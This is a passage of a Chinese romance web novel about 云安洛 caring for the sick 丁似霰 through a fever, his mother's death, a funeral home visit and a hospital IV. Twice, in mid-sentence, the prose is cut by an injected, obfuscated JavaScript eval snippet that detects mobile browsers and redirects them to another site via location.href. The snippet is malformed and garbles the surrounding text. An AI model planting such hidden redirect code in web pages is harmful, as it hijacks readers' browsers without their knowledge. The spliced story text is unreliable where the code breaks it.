“手放下,闭眼睛歇着,”云安洛带着点命令的语气,让人感觉不容置喙,她转过身去,从沙发上拽过一个毯子,递给丁似霰,“盖上点,这鬼地方没暖气,好冷。” 丁似霰没有再拒绝,听话地盖上了毯子,闭眼躺在躺椅上,任由云安洛安排。 他的手攥起了一小截毛毯,指尖轻轻摩挲着,似乎是在感受毛毯的手感。 “我自己做的,还有一个,一会给你拿去怎么样?”云安洛略微用了些力,揉着他的太阳穴。 这毯子是云安洛买了五大筒线,自己混线然后织出来的。一股马海毛,两股长毛仿貂线,一股羊绒棉,一股蛋糕线,手感想不好都难。 最开始还是杨可期说想要一个这种毯子,云安洛秉承着“一只羊也赶两只羊也放”的原则,做了三种颜色,昨天刚刚洗好烘干,想着今天下了班给杨可期送去。 还有两条当然一条放在这里她自己留着,另一条……本来还在想怎么找个理由给丁似霰来着。 丁似霰似乎思考了一会,才说了一句“谢谢”。 丁似霰刚吃了药,本就有点犯困。再加上云安洛确实按得很舒服,没过多久云安洛就发现他睡着了。 这几天云安洛一直在拿着棒针赶工,就想在降温前把三条毯子织完,所以她的手腕跟着她遭了大罪。 丁似霰睡熟后,云安洛就缓缓卸了力道,拿开手,靠在沙发靠背上轻轻甩着手腕。 不过倒是多亏昨天感觉左手的长指甲看腻了,她晚上把指甲油卸干净,又修剪成只剩两三毫米的方甲,今天才不至于难以下手。 云安洛刚才去找丁似霰,是因为她真饿了。如今看来现在确实不适合出去觅食,她就打开外卖软件,给自己点了一杯芋泥烤奶。 有个中医朋友的好处,花茶都不用自己配。 当然,对于杨可期而言,有个毫不吝啬的富婆朋友,也十分滋润。几年前云安洛出钱让杨可期开了家饮品铺子,杨可期一直有研究把中药放到生活中的想法,这算一个好的开始,因为营业额一直还不错,那点本钱很快就赚出来了,甚至网店的销售额也很可观,最近小程序盛行,许志还免费搓了一个送给两个姑娘。 杨可期给云安洛拿了许多配好的茶包。她抽出来一包雪梨甘草,剪开包装袋,把茶包放进养生壶里煮着,又加了些蜂蜜。 而且云安洛早早就把这小养生壶拆开重组一遍,确定给它所有按键都上了哑药。如今看来真是明智之举。 丁似霰醒过来时,发现云安洛似乎已经不在办公室里。 他扶着躺椅站起身,刚走了两步就感觉一阵眩晕,视线模糊,手止不住地发抖。 丁似霰本以为他会摔在地上,结果竟栽进了一个冒着凉气的毛绒绒的怀抱。 云安洛扶着他坐在沙发上,嘴里还在说着:“祖宗诶,我就下楼取个外卖,你再给自己摔出个好歹来。” 丁似霰并没有缓过来,只是靠在云安洛肩上,喘着粗气。 云安洛一手搂着他,一手拎起养生壶,倒了一小杯梨汤,轻轻吹两下送到丁似霰嘴边。 养生壶是保温状态,云安洛设成了四十五度,理论上来讲用不到吹,就可以直接进嘴,这完全是习惯性动作。 丁似霰大概只是低血糖,喝了一杯蜂蜜水,没多久便好了许多。 他第一句话,竟然是问云安洛是不是没有吃午饭。 “嗯,饿了,所以点了杯芋泥烤奶,”云安洛用手背试了一下丁似霰额头的温度,“你是不是发烧了?吃药了吗?” “十一点半左右……吃的药。” 云安洛叹了口气,退烧药至少也得隔四个小时再吃,如今还没到下午一点,哪怕他又烧了起来,现在也不能再吃药了。 “你为什么不请假,这么难受还来上班干什么?” 丁似霰有些无奈地说道:“每次换季降温都感冒,两三周也不一定好,哪能一直请假。” “社畜也太恐怖了,”云安洛见他似乎仍有些倦意,便说道,“困就再睡会,去躺椅上还是在这里?” 丁似霰犹豫了一下,用很小的声音问:“这里,行吗?” “行呀,”云安洛把丁似霰扶起来一些,让他重心靠在沙发上,“我去把毯子拿过来。” 丁似霰似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908961|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎有些失落,轻轻扯着云安洛的衣角,“我不冷……” “我冷。”云安洛站起身才恍然大悟丁似霰在想什么。 她飞快拎了毯子回来,盖在丁似霰身上,然后坐到沙发另一边。 云安洛本想看看他什么反应,但确实看到丁似霰失落的样子,她根本舍不得,哪怕半分钟。 她看着丁似霰,拍了拍自己的腿,“躺过来?” 失落小狗明显眼睛一下亮了起来,却没有行动,只是略有迟疑地问:“可,可以吗?” “嗯,”云安洛快速点着头,“快来!” 丁似霰抱着毯子,缓缓躺了过来。 云安洛把丁似霰的胳膊也压进毯子里,然后打开了她的外卖袋子,一边喝着烤奶,一边轻轻拍着丁似霰。 她今天这件毛衣是很肥大的那种,长度能盖住屁股,坐下来的话也能盖住小半截大腿。 她对丁似霰说道:“你往上来点,这里肉少有点硌得慌。” 丁似霰听到这话,只是微微向上蹭了一点点。 他到底是二十八还是十八,这么大人了躺个腿还如此僵硬。 云安洛见此,只好托着他的头,强制上移,最终丁似霰完全枕在水貂绒覆盖区域。 他脸似乎更红了,但不像是因为发烧。 “睡吧。”云安洛若无其事地继续轻轻拍着丁似霰。 若无其事而不是镇定自若是因为,哪怕丁似霰再次睡着以后,云安洛的心跳仍旧很快。 她空闲的那只手轻轻搓了搓自己的袖口。今天衣服选得确实不错,这手感绝对要比卫衣外套好上不知道多少倍。 丁似霰睡觉依旧很老实,基本上可以算是一动不动。 云安洛靠在沙发背上,插着耳机听歌,又登上浓珑的微博号,上线随机抽几个幸运观众点赞评论,然后发了几个粉丝红包。 果然人心情一好就总喜欢到处发福利,云安洛兴致上来了就会去当散财童子。 云安洛平时是不会开热空调的,她总感觉空调暖风吹得发闷。但今天这个暖风已经在二十四度吹了很久,搞得她也昏昏沉沉的。 好在,丁似霰看起来睡得挺踏实,这样的话空调暖风也不是太难接受。 丁似霰再次睡醒时,云安洛还在慢悠悠拍着他。 见他睁开眼,云安洛便放下手机,试了试他额头的温度,“应该退烧了,再趴一会,别散了汗。” 丁似霰轻轻应了一声,“好。” “头还疼不疼?” “不疼,”丁似霰道。 云安洛轻轻掐起丁似霰脸颊上为数不多的肉,“我最近有个活,在南菀找了个棚子,明天开始得录大概两三天,估计施工没问题的话我就不会来洋筑。” “嗯。”他轻轻应了一声。 “照顾好自己,实在难受就请个病假,没必要这么熬着。 我虽然不过来,但我也不是断联了,你有需要的话就喊我。” 丁似霰又“嗯”了一声。 “不要‘嗯’,换个回答。”云安洛有些撅起嘴,似乎不太满意。 丁似霰抬起头,疑惑地看了一会她的表情,又似乎突然想到些什么,露出了一个……可能算是那种霸道总裁文里无奈又宠溺的笑容?反正,在云安洛眼里,笑得很好看。 “Yes,Madam.” “不错不错。”云安洛放下了她本就没有用力捏的那团肉,然后在丁似霰脸上轻轻揉了几下。 她确实,很喜欢鼓捣丁似霰,哪怕他们现在关系没那么明朗。但丁先生没拒绝,那就是默认了,所以揉揉头捏把脸这类小事,云安洛顺手就做。 “Madam,我有点饿了……” “你还没有水到下班时间哦~想吃什么?我给你下去买点,先垫垫肚子。” “不用下去,”丁似霰被云安洛用毛毯裹得严严实实,只露出了脑袋和一小段脖子,“楼下那家馄饨可以给送上来。” “有微信?” 丁似霰点点头。 “好,你是地主你来定吧,”云安洛从茶几上拿起丁似霰的手机递给他。 丁似霰两只手伸出来接过手机,轻车熟路地翻出菜单,让云安洛挑选。 “都行,跟你一样的吧。”云安洛对吃的并不挑……或者说她是因为不爱吃南菀的口味,所以也没有欲望,感觉吃什么都一样。 “那……这个鲜肉小馄饨?” “好。” 比起小馄饨,其实云安洛感觉此时被毛绒绒包裹住的丁似霰似乎更诱人些。 70. 孑然一身 南菀市悦意疗养院。 丁似霰在那张病危通知书上签下自己的姓名后,有些脱力地靠坐在墙角。 手,仍旧在颤抖。 他不知道是害怕、担心、焦虑……又或者是在怀疑到底该不该继续抢救。 第四张了。 手术室的灯从下午五点多亮到现在,没有一次医生出来说的是好消息。 当然也可能,是该吃药了。 紧绷的精神并不能让他忽略掉身体的不适。 上升的体温,很难保持清醒的头脑,每次咳嗽都会作痛的肺,不知到底因为哪个原因而痉挛的胃……都在提醒他,该吃药了。 丁似霰掏出药盒,拿出一把药,咽了下去。 久病会不会成医不清楚,但是干咽药片的本领确实,多有提升。 他靠着墙,微微仰起头,中药成分的特殊气味混着苦味在舌根处渐渐弥漫开来。 口袋里,还散落着几块糖。 那天晚上,云安洛风风火火敲开丁似霰家的门,笑眯眯塞给他一袋子糖。 她说,感冒的时候食欲不好把药当饭吃很正常。 但总不能真把自己饿坏了。 不过,吃糖嗓子会痛。 所以她自己熬了一些梨膏糖,并且多加了点肉桂粉和干姜。这些年来,她每到秋冬,都会给小d寄几次,做得倒也熟练。 能看出来,云安路确实做得很着急,她甚至没有修剪糖块的边角,与曾经那些身形圆润、图案和形状各异的糖块比起来,草率了许多。 这块,是一只小鸟。 那时她问小d,喜欢什么形状。 他说,山雀吧,小小的一个,很像一个人。 梨膏糖,很甜。 终于,晚上十点过七分,手术室的灯,灭了。 余美兰又被推进ICU,丁似霰只能隔着玻璃远远望着病床上那个被各种仪器连接着维持生命的人。 或许,还有机会见一面吗,妈妈…… …… 整整三天,云安洛都泡在录音棚里。她每次一工作起来,就不大能关注其它事情。 关了静音的手机在棚外不断亮起屏幕,又因为无人看到而熄灭。 “姐,你手机有五个未接来电,需要看看吗?”小张推门进来的时候看到了云安洛手机亮起的屏幕,隔着玻璃问道。 或许是直觉,也可能是真的很少有人对她夺命连环call,云安洛立刻摘下耳麦,跑出录音房回拨电话。 工作室的人都不清楚到底发生了什么,只见云安洛回来的时候说快些把最后一段录完,她有点急事需要处理。 其实从拨通杨可期的电话开始,云安洛思绪已经飘走了,只是碰巧和最后那段人物情绪比较相似,才会让他们以为她情绪代入感非常强烈。 余美兰走了。 丁似霰没与任何人说,是杨可期今天去疗养院帮同事坐诊,才知道余美兰前天晚上就已经去世了。 南菀市殡仪馆。 余美兰安静地躺在那四方盒里,四周再也没有医院里仪器工作的声音,她也没了气息。 这些年丁似霰和余家村早已断了往来,只有几个余美兰少时的朋友来送了她最后一程。 中央屏幕上,余美兰名字后火化中三个字亮起,像是在宣告一个生命彻底的终结。 丁似霰浑浑噩噩走去等候室。 他似乎不太能听清身边有什么声音,取而代之的是一阵嗡鸣;视线也渐渐模糊,两三米处的座椅好像突然离了地,天旋地转。心跳在疯狂加速,随之而来的是一阵眩晕…… 天,黑了。 丁似霰瞬间失去意识栽倒下去。 有人揽住了他的腰,他却因为后仰而剧烈呛咳起来。 那人迅速换了姿势,让他可以把头抵在她的身上,然后扶着他坐到椅子上。 她一直用手抚着丁似霰的胸口。 似乎还在说着些什么。 她轻轻捏开丁似霰的嘴,甜丝丝的温热液体缓缓流入他口中。 他终于听清了她说的是什么。 “丁似霰,别怕,是我。” “缓一缓,不着急。” 是云安洛。 丁似霰缓缓睁开眼,却没有力气发出任何声响,只能老老实实靠在云安洛肩头看着她。 云安洛脱下外套的时候,丁似霰似是有些着急,用力摇着头,并不剧烈的运动在此时足够让他呼吸紊乱。 “别乱动,靠过来,”云安洛伸出手把丁似霰又揽到了肩头,然后把外套披在他身上,“好冷,你靠近点给我暖暖。” 丁似霰迟疑了一会,听话地又向云安洛怀里钻了些。 云安洛身上,很暖和,很难拒绝这个邀请。 云安洛摸了摸丁似霰的额头,又试了下他颈窝的温度,“冷吗?你身上怎么这么凉?” “……两片,退烧药。” 在云安洛的印象里,丁似霰似乎不是那种太消极对待自己身体的人。 但他现在,没有精力发烧,或许两片退烧药是唯一的选择。 “睡一会吧,一会……”她有些心疼地拍着丁似霰,却不知这话该怎么去说,总不好说“等阿姨烧好了我喊你”吧。 云安洛继续说道:“一会我喊你起来。” “嗯。”他闷闷应了一声,似乎是出自本能地在云安洛温暖的颈窝蹭了蹭,找到一个舒服的姿势,闭上眼睛。 殡仪馆的等候室有五个,云安洛没有打通丁似霰的电话,只好从一号开始挨个寻找。 他在四号屋。 云安洛进门看到他的背影时,其实一瞬间腿就软了——这运动量属实有些超标。 还未来得及把气喘匀,就看到他摇摇晃晃要栽倒。可能人的潜力真的是无限的,云安洛都不清楚自己是怎么飞奔到丁似霰身边接住他。 那些年小d与她讲过工作上遇到的趣事,偶尔吐槽过另类的同事或领导以及顾客,也极少在小L的连环问下吐露过一点点身体的不适。 但云安洛此刻才发现,丁似霰的身体要比她想象中,差得多的多。 还好从杨可期的热饮铺子拿了瓶小甜水,还好跑得够快接住了他。 蓝色屏幕上的白色字迹格外扎眼,好像是一个又一个挣扎过后的失败宣告,亦或许是一份解脱。 一个新的名字出现在屏幕上。 十六岁的女孩。 云安洛看着屏幕,轻轻叹了口气。 黄泉路上无老少。 那年,她也是在这样一个冰冷的四方盒子里,等待装着云锦书骨灰的那个四方盒子。 所以到底还要多久,才能追回那些迟到的真相。 等候室又走进来四个人,大概是那女孩的亲人。 他们坐在云安洛身后那排椅子上。 很近,云安洛还能听见女人的呜咽声。 她下意识低头看了看丁似霰,不出所料,他醒了。 丁似霰睡着后,头自然有些垂下,云安洛便一直用手托着他。 他抬起手,把云安洛的手腕放在手心里轻轻揉捏着。 “没事,不酸,”她说。 丁似霰没有说话,只是有些固执地继续按揉。 堪堪两个小时,丁似霰又有些低烧,云安洛突然懂了,为什么是两片退烧药。 “什么时候吃的药?”云安洛低声问道。 他声音有些沙哑:“十二点多。” 云安洛点开手机,15:09。 还没到四个小时,不能再吃药了。 “喝点水吗?或者梨汤?”她问道。 “梨汤吧。”免得低血糖再晕过去。 空荡荡的等候室里,女人抽噎的声音格外清晰,但云安洛突然感觉,或许对于那个十六岁的生命而言,死亡既遗憾又解脱。 毕竟死了,就什么都没有了。没有快乐没有幸福,也不会有连成片的考试和看不清前路的未来。 王惠,很遗憾以这种方式认识你,但愿另一个世界没有压住你的牢笼。 丁似霰沉默了一会后,开口说道:“我,一会得去办一下寄存。” “嗯?”云安洛一时间没有反应过来寄存什么。 “骨灰。”他说:“余家村的女人,是不允许进祖坟的。 况且,我妈妈应该,也想我爸了……” “好。”云安洛这方面的语言系统是极度匮乏的,她不太知道该说些什么,只是轻轻应和着。 “明年,等这些事情都结束,我准备回新柳了,再带着我妈一起回去。” “那,到时候,我来接你们。” “嗯。” 降温后的南菀,时不时就会下一阵淅淅沥沥的小雨,再配上不停歇的邪风和十度上下的气温,确实很冷。 手续办理好后,外面又下起了雨。 云安洛站在门口,翻找着包里的雨伞。 刚才出门的时候太着急,伞似乎落在了录音棚。 “走吧。”丁似霰撑起伞,靠得离云安洛近了些。 那是一把很大的,大黑伞,很轻易就能罩住两个人。 丁似霰看出了云安洛的震惊,解释道:“李开颜总是忘记带伞,我只好买把大一些的,方便他蹭。” “哦,”云安洛把车钥匙拿在手机,拉上了包的拉链,“你,开车了吗?” “没,我这个状态要是开车,跟杀手没什么区别。” 云安洛深表认同地点点头,“确实。” 丁似霰上车后不久,就靠着车门睡了过去。 才三天不见,他好像瘦了一圈。等红灯时,云安洛偏过头去,却发现他眉头微微皱着,看起来倒不像是睡着。 云安洛伸出手,发现他额头的温度烫得吓人。 “丁似霰?”她轻轻拍了拍丁似霰的脸,却没有得到任何回应。 “丁似霰你怎么了?”云安洛忙拉起丁似霰的胳膊,尽可能让自己冷静些,回忆着杨可期教她的内容,摸着他的脉搏。 死不了,估计是烧迷糊了。 云安洛长叹了口气,看来以后有必要好好跟杨可期学一学。 后车的鸣笛声突然传来,云安洛猛的抬头,才发现信号灯已经变成了绿色,她忙启动车子,拐向最近的医院。 比起急诊,单间病房是相对安静的,只能偶尔听到外面走廊里护士推着车经过的细碎声响。 病房里没有开灯,只有云安洛手机屏幕的微弱亮光在黑暗中映着一小片视线的清明。 丁似霰在输钾,云安洛买了两个冰袋,一直在给他冰敷。 怕他太难受,所以这东西输得很慢,五个多小时,也才输了大半。 退烧针的效果已经褪去了,丁似霰又有些低烧。云安洛拿过冰袋的手如今还有些冰,她索性直接把手心覆在他的额头。 云安洛从来没有输过钾,她也不清楚这会是什么感觉,但从丁似霰的反应来看,应该很疼。 哪怕一直在冰敷,他的血管还是有些红肿。 丁似霰依旧紧闭双眼,眉头微微蹙起,手有些颤抖地抓着云安洛垫在他手下的毛绒挂坠。 他似乎,发出了一些音节。云安洛没有听清,也看不清他的口型,立刻凑近了些,“怎么了?” “……疼。” 云安洛摸着丁似霰的脸,用手指轻轻摩挲着以示安抚,“那我们不输了,我这就叫护士过来。” 之前医生就和她说过,如果丁似霰疼得难受,可以叫护士来拔针,他血钾低得不算太多。 病房内灯光亮起,丁似霰也缓缓睁开眼。云安洛坐在床边,正摁着针眼处。 云安洛问道:“醒啦?饿不饿,要吃点东西吗?” 丁似霰摇了摇头。 “那,喝点水?” 他不知是在想些什么,愣了几秒后“嗯”了一声,坐起身。 云安洛一只手摁着针眼,一只手去拧保温杯。 丁似霰忙伸过手去,握着保温杯,便于云安洛拧开盖子。 “这,没事了吧?”丁似霰看着云安洛因摁压有些泛白的指甲尖问道。 他其实早就有些醒过来了,只不过不太清醒,但总感觉云安洛似乎已经摁了很久。 “多压一会,肿了会疼的。”云安洛丝毫没有把手拿开的打算,反倒把四根修长的手指塞进丁似霰手心。 她的手一直是暖的,哪怕在病房里,也只是指尖有些凉。这样的手握起来,确实手感很好。 丁似霰靠在病床上,眼睛时不时就会合上,然后又似靠着意志支撑般睁开。 “困就趴下再睡一会。”云安洛抬起手理了理丁似霰有些凌乱的头发,“反正还得继续打针,睡着了是不是会好受一些。” “还好。”丁似霰重新躺回床上,却依旧看向云安洛。 “我保证,你睡醒之后见到的人还是我,”云安洛见此有些无奈地笑了笑,伸出手覆在他的眼睛上,“放心,我不能丢,睡吧。” 来打针的是一个年轻女孩,大概是刚刚工作,看起来很稚嫩。 云安洛本还在握着丁似霰的手发呆,突然感觉到他微微颤了一下,下意识抬起头看向对面。 哦莫,扎穿了。 云安洛有些不知该把目光投向哪里,她知道丁似霰血管细不太好扎针,唯一一根还算好入针的血管被那袋KCl标记后,剩下的都有些挑战性。 何况看起来还是个新手。 云安洛见丁似霰并没有睁眼,也就选择了挪开视线,免得护士更紧张。 太诡异了这个氛围,要是云安洛不在屋也还好,偏偏她就在床边,无论是她还是小护士,都很难忽略对方的存在。 但再次听到针管拆封的声音,云安洛还是没忍住抬头看过去,正巧看到护士准备在丁似霰大拇指下方手腕旁那根血管处下针。 “咦!那得多疼啊!”云安洛连忙叫停了这项操作。 她紧忙跑到病床另一侧,麻利地把止血带换了个位置,用棉签沾沾碘伏涂在丁似霰手背,然后拿过针头小心翼翼扎进丁似霰手背上的血管里。 调流速这类事情云安洛还是交给护士去做了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908962|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云安洛扎好针才发现小护士在一旁已经红了眼眶,她瞬间反应过来,赶紧对护士说道:“没事,他血管太不好扎了。” 云安洛想了想,又加上一句,“不会投诉的,别担心。” 这还是以前给杨可期当小白鼠的时候养成的自觉,总要有人被用来练手。 “谢谢。”护士调好吊瓶,在离开病房前很正式地对着云安洛鞠了一躬表示感谢。 “啊……嗯。”云安洛有些尴尬地摆摆手。 太正式了点。 又是熟悉的红霉素,云安洛看看输液瓶又看看丁似霰,同时把嘴咧成了Type-C。 真遭罪啊。 许是因为云安洛一直用暖贴给丁似霰暖着胃,又和他牵着手暖手,他又安安静静睡了近一个小时。 最近只想着早些录完音频,再加上毕竟这边的录音棚是咔咖的朋友,云安洛也不好意思占用太多时间,这三天都是上午九点左右就开始录制,录到晚上再迅速闪回家睡觉,所以熬到这个时候一直没睡觉,云安洛感觉她真的到极限了。 主要是昨天嘴馋喝了一桶奶茶,云安洛凌晨三点多才真的睡着。 恍惚间云安洛趴在丁似霰床边打了个盹。 不知过了多久,床上的人突然捂着嘴伏在床边。 云安洛吓得一下就清醒过来,反手便拽来了垃圾桶。 云安洛想伸出手拍一拍丁似霰的背,才发现他那只扎针的手还牢牢握着她。 “呆子。”云安洛抽出手坐在他身旁,轻轻拍着丁似霰的背。 丁似霰这几天根本没怎么吃东西,吐出来的也基本只有胃酸,反倒呛得一阵咳嗽。 待他缓和了一些,云安洛蹲下身,抽了张纸想帮他擦擦唇边的液体,“还想吐吗?” 丁似霰缓缓摇摇头,想要接过纸巾。 云安洛没理他,自顾自给他擦擦嘴,然后扶他坐起身,靠在自己肩上。 “喝点水。”云安洛倒了杯温水,递到丁似霰唇边,“醒很久了?” 丁似霰咽下一口水后说道:“没,就一小会。” 云安洛掖了掖被子,“这样靠着会舒服些吗?” “嗯。”他轻轻应了一声。 换做平时,云安洛还能打趣他几句,或者随便找些话题聊一聊,但如今她完全不知道该说点什么。丁似霰太平静了,无论是余美兰的离去还是输液的不适,他除了意识模糊时的一句“疼”以外,似乎完全没有任何情绪。 还是丁似霰先开了口:“你怎么会扎针?” “那时候你没睡着啊?” “嗯……好像没太睡着。” “后来给我姥扎针来着,我姥不想住医院,反正一直是那些药,不舒服了就买来在家输几天。 有一天那个来家里打针的阿姨碰巧没空,外边雨还下得挺大,问了好几个诊所都不愿意过来,我也是胆子大,就自己给我姥打了。”云安洛又把丁似霰的手握在手里暖着,“我姥姥那个血管比你的难扎多了,不仅细,还不太直。” “好厉害,扎进去都没什么感觉,”丁似霰声音还是淡淡的,“那拔针呢,高中的时候你怎么就会了?” “多亏我的好奶奶了呗,还幼儿园的时候,我妈学校要开会,我在诊所打吊瓶,老太太自己说可以在那陪我,然后又跟旁边病床上的人大说小唠,吵死了。” “嗯?那和拔针……什么关系?” “我听得闹心,趁他们不注意手摁着针眼,然后一脚把针踹掉了,也没人注意到我,我就自己颠颠跑去我妈学校,在门口保安室跟大爷看了半个多点水浒传,我还蹭了根老中街冰棍。” “豪杰啊……” “就是比较虎吧,哈哈。 然后杨可期听说我的丰功伟绩之后非要我在她输液的时候给她表演一下。”说到这里,云安洛停顿了一下。 “然后呢?”丁似霰问道。 “然后虽然我又成功了,但我俩被拎起来在诊所训了好久。”云安洛有些刻意地避开了训话的人。 她也想起了从前,那个充满欢笑的,有妈妈的从前。 云安洛很快调整好情绪,继续讲道:“但小孩毕竟不太听话,后来杨可期也总偷摸让我给她拔针,当然不是踹下去的,后来都是用手正经拔的。她说我拔针一点都不疼,虽然我到现在也不清楚是为什么。 可能先天学护理圣体。” “你无论做什么,都很厉害的。” 罕见的,云安洛并没有顺着丁似霰的夸奖继续聊些什么。她摸了摸丁似霰的脸颊,有些心疼地问:“好像每次都在听我说,你呢?” “我?”丁似霰低垂着眼眸,向云安洛温暖的手心钻了些,“我也……没什么特殊的事……” “每次感冒都会这样难受吗?”至少无论是高三还是现在,云安洛见到的这两次,感冒这个词在她身上表现的样子与在丁似霰那里绝对是天差地别。 “也没有,身体不太好的时候才会这样,”丁似霰有些自嘲地笑了笑,“我确实挺麻烦的,从小时候开始就动不动去打针,三天两头发个烧晕一下吓唬吓唬我爸妈。” “没有麻烦,能少遭些罪比什么都强,”云安洛回答得快速且坚定。 她继续问道:“我如果没去找你,你就准备回家继续吃药顶着?” “……嗯。” “会烧坏的,”不知不觉,云安洛已经把声音放得很轻柔,像是在哄小孩子一般,“以后难受的话告诉我,我陪着你,就算来医院也都陪着你,好不好?” “我……不喜欢医院,”丁似霰的声音已经有些颤抖,但他在极力地压制,“不过确实这次……没那么难熬。” “这不是胡话吗,谁陪着罪都得自己遭,”云安洛用指腹轻轻摸了摸丁似霰的脸,便换了个方向,把他搂进怀里。 或许他真的该痛痛快快地哭一场。 “是啊……都得自己遭。” 丁似霰说完这话后,沉默了许久。云安洛能感受到他整个人都在颤抖。她只好一下一下,轻柔地抚着丁似霰的脊背。 这些情绪,可能说出来,哭出来,才会好一些。 “太痛苦了……” “真的太痛苦了……好多……好多管子插在身上……我,我不想,让我妈再煎熬了……” “是我选的放弃抢救……” 云安洛第一次见他哭成这个样子,边抽噎边咳嗽,狼狈又无助,却也是难得彻底释放出情绪。 她一手环抱着丁似霰的腰身,一手轻轻揉着他的头发,“我们小光已经很棒了,阿姨和叔叔会为你感到骄傲的,你自己走了这么远的路,很厉害。” 丁似霰并没有继续说些什么,只是在云安洛怀里又哭了许久,才渐渐平稳下来。 “洛洛……”丁似霰轻轻唤着,更像是意识并不清醒的呢喃。 “嗯,我在的。” “我,我真的,不喜欢医院……” 云安洛把下巴抵在他的头顶,轻轻地拍着他的背,“好,我们打完这瓶药马上就回家,再也不来了。” 71. 莫名其妙 那天夜里,云安洛做了一个她从来没有想过的、荒谬的举动——打完针和护士打了招呼后直接带着丁似霰立刻回家。 荒谬的点在于,回的是丁似霰家。 虽然他家云安洛也去过很多次,但确实,蹭饭和这次的感觉不太相同,她还没有和丁似霰处在同一个密闭空间里过夜的经历。 云安洛只是怕丁似霰自己待着再出什么问题,所以就想着再陪他一晚。 丁似霰家就是个很小的一居室,通厅,但好在还是个阳面,再加上内容物确实不太多,所以看上去也算宽敞,这屋子如果再大一点倒确实也是云安洛喜欢的户型。 他家里最开始甚至没有一双多余的拖鞋,因为云安洛第一次是到了他家楼下才临时起意问他能不能做饭的,她中午吃了个很难吃的外卖,特别不爽,需要弥补一下受伤的味蕾。 也不能说没有吧,有一双李开颜的,但云安洛确实不太想穿,丁似霰也压根没问,当初他直接让云安洛穿着鞋进屋。 丁似霰家依旧很整洁,只是这段时间很显然没人打理。云安洛换了鞋走进去,坐在丁似霰家的懒人沙发上。 云安洛不喜欢在室内穿外套——大概多数东北人都这样。但这是南菀,这地方没有暖气的,她脱了外套后多少也有些冷。 丁似霰从衣柜里拿出一件珊瑚绒睡袍递给云安洛,“刚洗过,干净的。” “额……主要是现在我可能不太干净……”实际上,云安洛是很嫌弃自己身上这套在医院待过的衣服的,就连坐在沙发上,也是纠结之后的结果——这冰凉的地面坐上去大概率不是太舒服。 丁似霰意识到云安洛在纠结什么后,轻轻笑了一下,直接将睡袍披在云安洛身上,“那可能我更不干净了。” 气氛一度有些尴尬。 两个人面对面坐了片刻,丁似霰开口说道:“我真的没事了,要不……你回家吧?” “太晚了,不敢走。”云安洛给自己找了一个看起来很合理的说辞。 “我送你?” 云安洛一脸疑惑地看向丁似霰:??? “好吧,那……我去洗个澡,你……”丁似霰一时间没想到深更半夜的云安洛可以做些什么,说到这里卡顿了许久。 “我自娱自乐,去吧。”云安洛接过话茬。 自娱自乐的结果是,那天晚上床的使用权归了云安洛。 没办法,真的太困了。浴室里的水流声在云安洛听起来更像是某种白噪音,这对于将近二十四小时没有睡觉的她来说诱惑力极大。 巧了,云安洛向来没什么抵制诱惑的能力。 于是丁似霰换好衣服出来后,就看到了一个蜷缩在沙发上呼呼大睡的云安洛。 他小心翼翼走过去,将云安洛打起横抱。 丁似霰刚揽上云安洛的肩膀,她就睁开了眼,但看得出来,苏醒程度不高。 云安洛迷迷糊糊发出了一个气音:“嗯?” “没事,继续睡吧。”丁似霰回道。 “嗯。”云安洛又闭上眼,没有管丁似霰接下来的动作。 直到丁似霰把她抱到床上,云安洛才又懒洋洋说了一句:“洗发水挺好闻。” 丁似霰没有说话,只是替她盖好被子,坐在床边静静地看着她。 她习惯性侧着睡觉,脸颊上的肉会被枕头堆起来,蜷着腿抱着被子,像某种蜷缩在小窝里的毛绒团子。 云安洛突然将眼睛睁开了一条小缝,微微眯着眼,看向丁似霰。 “怎……怎么了?”丁似霰被看得有些发愣。 “你是不是没吹头发?” “啊……”丁似霰缓缓点了点头。 云安洛一下坐起身,拍拍丁似霰肩膀:“走,把头发吹干了去。” 丁似霰忙说道:“我自己吹就行,你睡吧。” 云安洛眨眨眼,愣了两秒,然后快速留下一句“好嘞”,就重新倒回床上。 “快吹!”由于丁似霰迟迟没有动静,云安洛又闭着眼睛催促了一次。 终于,在吹风机的嗡嗡声中,云安洛彻底睡到了早饭。 上一次体验到被饭香味迷醒还是九年前。 云安洛从床上坐了起来,看着丁似霰盛粥的背影,不好意思地挠了挠头。 这到底是谁照顾谁啊,占了人家的床,又一觉醒过来就去吃饭…… “醒啦?”丁似霰转过身,看到云安洛已经醒来,对她招招手:“来吃饭吧,刚想着盛好了再叫你,一会你还得去录音吧?” 云安洛忘记关闭的闹钟在此刻响起来,她飞快拿起手机,让闹钟闭了嘴,“不着急,我和那边说了,明天再继续录。” 丁似霰再也不去医院的这个愿望是不大可能实现的,毕竟他至少还得再输一天液。 在云安洛的强烈坚持下,她又在医院陪了丁似霰一大天。 晚上,便是各回各的家,各想各的妈了。 第二天云安洛再三叮嘱过丁似霰,有需要一定要联系她,才把手机铃声开到最大后,一步三回头走进录音棚。 这个比方不大贴切,但确实可能是基因里刻下的规律,就像云锦书当初早出晚归去上课一样,哪怕再不舍小乔洛,她也无法做到抛下工作。 二期的建设目前很顺利,并没有和云安洛联系,她也专心待在录音棚,只是偶尔和丁似霰说几句话,检查一下病号的恢复进度。 按照聊天界面显示,进度良好。 直到一周后云安洛完成了大部分录音工作,又开始去洋筑晃悠才知道,网络消息确实不可信。 